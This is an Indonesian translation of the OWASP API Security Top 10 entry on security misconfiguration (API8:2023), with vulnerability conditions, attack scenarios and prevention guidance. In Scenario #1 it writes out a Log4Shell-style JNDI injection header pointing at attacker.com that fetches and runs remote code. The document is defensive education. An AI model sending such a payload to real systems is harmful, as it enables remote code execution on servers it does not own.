API8:2023 Miskonfigurasi Keamanan
Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |
---|---|---|
Khusus API : Kemungkinan Dieksploitasi Mudah | Prevalensi Luas : Kemungkinan Dideteksi Mudah | Teknis Parah : Khusus Bisnis |
Penyerang sering mencoba menemukan kelemahan yang belum diperbaiki, endpoint umum, layanan yang berjalan dengan konfigurasi default yang tidak aman, atau file dan direktori yang tidak terlindungi untuk mendapatkan akses tidak sah atau pengetahuan tentang sistem. Sebagian besar informasi ini adalah pengetahuan publik dan eksploitasi mungkin tersedia. | Kesalahan konfigurasi keamanan dapat terjadi di semua tingkat stack API, mulai dari tingkat jaringan hingga tingkat aplikasi. Alat otomatis tersedia untuk mendeteksi dan mengeksploitasi kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya mengekspos data pengguna yang sensitif, tetapi juga detail sistem yang dapat menyebabkan kompromi penuh server. |
Apakah API Rentan?
API menjadi rentan bila:
- Tidak ada penguncian keamanan yang sesuai di seluruh bagian stack API, atau izin yang dikonfigurasi dengan tidak benar pada layanan cloud
- Tidak ada patch keamanan terbaru, atau sistem sudah kadaluwarsa
- Fitur yang tidak diperlukan diaktifkan (misalnya, verba HTTP, fitur logging)
- Ada ketidaksesuaian dalam cara permintaan masuk diproses oleh server dalam rantai server HTTP
- Tidak ada Keamanan Lapisan Transportasi (TLS)
- Direktif keamanan atau kendali cache tidak dikirimkan kepada klien
- Kebijakan Cross-Origin Resource Sharing (CORS) hilang atau tidak diatur dengan tepat
- Pesan kesalahan mencakup stack trace, atau mengekspos informasi sensitif lainnya
Contoh Skenario Serangan
Skenario #1
Sebuah server API back-end menjaga catatan akses yang ditulis oleh utilitas logging sumber terbuka pihak ketiga yang populer dengan dukungan ekspansi tempat dan pencarian JNDI
(Java Naming and Directory Interface), keduanya diaktifkan secara default. Untuk
setiap permintaan, entri baru ditulis ke file log dengan pola berikut: <metode> <versi_api>/<jalur> - <kode_status>
.
Pelaku jahat mengeluarkan permintaan API berikut, yang ditulis ke file log akses:
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
Karena konfigurasi default yang tidak aman dari utilitas logging dan kebijakan keluar jaringan yang longgar, dalam rangka menulis entri yang sesuai
ke file log akses, sambil memperluas nilai dalam header permintaan X-Api-Version
, utilitas logging akan mengambil dan menjalankan objek Malicious.class
dari server yang dikendalikan oleh pelaku jahat.
Skenario #2
Sebuah situs jaringan sosial menawarkan fitur "Pesan Langsung" yang memungkinkan pengguna mempertahankan percakapan pribadi. Untuk mengambil pesan baru untuk percakapan tertentu, situs web mengeluarkan permintaan API berikut (interaksi pengguna tidak diperlukan):
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
Karena tanggapan API tidak menyertakaj header tanggapan HTTP Cache-Control
, percakapan pribadi akan disimpan dalam cache browser web, memungkinkan
pelaku jahat mengambilnya dari file cache browser dalam sistem file.
Cara Mencegah
Siklus hidup API harus mencakup:
- Proses pengerasan berulang yang menghasilkan penerapan lingkungan yang terkunci dengan benar dengan cepat dan mudah
- Tugas untuk meninjau dan memperbarui konfigurasi di seluruh stack API. Tinjauan harus mencakup: file orkestrasi, komponen API, dan layanan cloud (misalnya, izin bucket S3)
- Proses otomatis untuk terus-menerus menilai efektivitas konfigurasi dan pengaturan di semua lingkungan
Selain itu:
- Pastikan semua komunikasi API dari klien ke server API dan komponen hulu/hilir terjadi melalui saluran komunikasi yang terenkripsi (TLS), tanpa memandang apakah itu API internal atau publik.
- Lebih spesifik tentang verba HTTP mana pun yang dapat diakses oleh setiap API: semua verba HTTP lainnya harus dinonaktifkan (misalnya, HEAD).
- API yang diharapkan diakses dari klien berbasis browser (misalnya, front-end WebApp) harus setidaknya:
- mengimplementasikan kebijakan Cross-Origin Resource Sharing (CORS) yang tepat
- menyertakan Header Keamanan yang berlaku
- Batasi jenis konten/format data masuk hanya pada yang memenuhi persyaratan bisnis/fungsional.
- Pastikan semua server dalam rantai server HTTP (misalnya, load balancer, reverse and forward proxy, serta server backend) memproses permintaan masuk dengan cara yang seragam untuk menghindari masalah desinkronisasi.
- Jika memungkinkan, tentukan dan tegakkan semua skema muatan respons API, termasuk respons kesalahan, untuk mencegah pengecualian jejak dan informasi berharga lainnya dikirimkan kembali kepada pelaku serangan.
Referensi
OWASP
- Proyek OWASP Secure Headers
- Pengujian Konfigurasi dan Manajemen Implementasi - Panduan Pengujian Keamanan Web Guide
- Pengujian Penanganan Kesalahan - Panduan Pengujian Keamanan Web
- Pengujian Cross Site Request Forgery - Panduan Pengujian Keamanan Web
Eksternal
- CWE-2: Kelemahan Keamanan Lingkungan
- CWE-16: Konfigurasi
- CWE-209: Pembuatan Pesan Kesalahan yang Mengandung Informasi Sensitif
- CWE-319: Pengiriman Teks Terbuka Informasi Sensitif
- CWE-388: Penanganan Kesalahan
- CWE-444: Interpretasi Tidak Konsisten Permintaan HTTP ('HTTP Request/Response Smuggling')
- CWE-942: Kebijakan Lintas Domain yang Permissif dengan Domain yang Tidak Terpercaya
- Panduan Keamanan Umum Server, NIST
- Let's Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka